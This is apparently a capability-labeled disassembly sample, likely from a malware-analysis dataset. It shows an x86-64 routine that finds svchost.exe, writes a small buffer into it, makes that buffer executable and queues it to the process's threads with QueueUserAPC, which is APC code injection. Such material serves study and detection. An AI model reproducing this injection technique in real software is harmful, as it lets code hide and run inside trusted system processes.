Function at 0x140011285
Capabilities:
Enumerate processes
Enumerate threads
Inject apc

Disassembly:
jmp 0x140011800
push rbp
push rsi
push rdi
sub rsp, 0x560
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xec
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d008]
xor rax, rbp
mov qword [rbp + 0x528], rax
lea rcx, [0x1400230a3]
call fcn.140011393
lea rax, [rbp + 8]
lea rcx, [0x14001ae80]
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
xor edx, edx
mov ecx, 6
call fcn.14001119f
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0xffffffffffffffff
jne 0x140011877
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x60], 0x238
mov dword [rbp + 0x2b8], 0x1c
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 0x38]
call fcn.14001122b
test eax, eax
jne 0x1400118a3
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x2b8]
mov rcx, qword [rbp + 0x38]
call fcn.140011244
test eax, eax
jne 0x1400118c1
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 0x38]
call fcn.14001122b
test eax, eax
je 0x1400118f9
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x8c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
je 0x1400118f9
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 0x38]
call fcn.140011343
jmp 0x1400118d2
mov qword [rbp + 0x2f8], 9
mov dword [rbp + 0x314], 0
mov r8d, dword [rbp + 0x68]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0xffffffffffffffff
jne 0x14001193a
mov eax, 1
jmp 0x140011a6a
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x2f8]
xor edx, edx
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x358], 0
jne 0x140011987
mov eax, 1
jmp 0x140011a6a
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x2f8]
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400119bd
mov eax, 1
jmp 0x140011a6a
lea rax, [rbp + 0x314]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, qword [rbp + 0x2f8]
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400119f5
mov eax, 1
jmp 0x140011a6a
lea rdx, [rbp + 0x2b8]
mov rcx, qword [rbp + 0x38]
call fcn.140011244
test eax, eax
je 0x140011a68
mov eax, dword [rbp + 0x68]
cmp dword [rbp + 0x2c4], eax
jne 0x140011a54
mov r8d, dword [rbp + 0x2c0]
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x398], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, 0x7e4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x2b8]
mov rcx, qword [rbp + 0x38]
call fcn.140011078
test eax, eax
jne 0x140011a09
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001abd8]
call fcn.140011320
mov rax, rdi
mov rcx, qword [rbp + 0x528]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x530]
pop rdi
pop rsi
pop rbp
ret